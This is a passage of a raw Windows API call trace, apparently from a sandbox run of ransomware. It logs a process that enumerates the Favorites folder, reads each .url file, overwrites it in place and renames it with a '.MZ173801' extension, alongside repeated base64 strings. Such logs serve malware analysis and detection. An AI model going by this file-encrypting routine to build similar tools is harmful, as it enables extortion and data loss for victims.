lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.199] GetCurrentThreadId () returned 0x9fc [0144.199] GetCurrentThreadId () returned 0x9fc [0144.199] GetCurrentThreadId () returned 0x9fc [0144.200] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0144.200] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x7a13fc, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0144.200] GetCurrentThreadId () returned 0x9fc [0144.200] GetCurrentThreadId () returned 0x9fc [0144.200] GetCurrentThreadId () returned 0x9fc [0144.200] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.200] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0144.200] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0144.200] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x85 [0144.200] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0144.200] ReadFile (in: hFile=0x224, lpBuffer=0x714510, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0x85, lpOverlapped=0x0) returned 1 [0144.201] CloseHandle (hObject=0x224) returned 1 [0144.202] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.203] WriteFile (in: hFile=0x224, lpBuffer=0x716540*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x716540*, lpNumberOfBytesWritten=0x18f6d0*=0x85, lpOverlapped=0x0) returned 1 [0144.203] CloseHandle (hObject=0x224) returned 1 [0144.204] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url.mz173801")) returned 1 [0144.205] GetCurrentThreadId () returned 0x9fc [0144.205] GetCurrentThreadId () returned 0x9fc [0144.205] GetCurrentThreadId () returned 0x9fc [0144.205] GetCurrentThreadId () returned 0x9fc [0144.205] GetCurrentThreadId () returned 0x9fc [0144.205] GetCurrentThreadId () returned 0x9fc [0144.205] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 1 [0144.205] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.205] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.205] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86)) returned 1 [0144.207] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.207] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.208] GetCurrentThreadId () returned 0x9fc [0144.208] GetCurrentThreadId () returned 0x9fc [0144.208] GetCurrentThreadId () returned 0x9fc [0144.209] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0144.209] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x7a13fc, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0144.209] GetCurrentThreadId () returned 0x9fc [0144.209] GetCurrentThreadId () returned 0x9fc [0144.209] GetCurrentThreadId () returned 0x9fc [0144.209] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.209] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0144.209] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0144.209] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x86 [0144.209] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0144.209] ReadFile (in: hFile=0x224, lpBuffer=0x714510, nNumberOfBytesToRead=0x86, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0x86, lpOverlapped=0x0) returned 1 [0144.210] CloseHandle (hObject=0x224) returned 1 [0144.210] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.211] WriteFile (in: hFile=0x224, lpBuffer=0x716540*, nNumberOfBytesToWrite=0x86, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x716540*, lpNumberOfBytesWritten=0x18f6d0*=0x86, lpOverlapped=0x0) returned 1 [0144.212] CloseHandle (hObject=0x224) returned 1 [0144.212] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url.mz173801")) returned 1 [0144.213] GetCurrentThreadId () returned 0x9fc [0144.213] GetCurrentThreadId () returned 0x9fc [0144.213] GetCurrentThreadId () returned 0x9fc [0144.213] GetCurrentThreadId () returned 0x9fc [0144.213] GetCurrentThreadId () returned 0x9fc [0144.213] GetCurrentThreadId () returned 0x9fc [0144.213] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 0 [0144.213] GetLastError () returned 0x12 [0144.213] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.213] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa6c4c280, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa6c4c280, 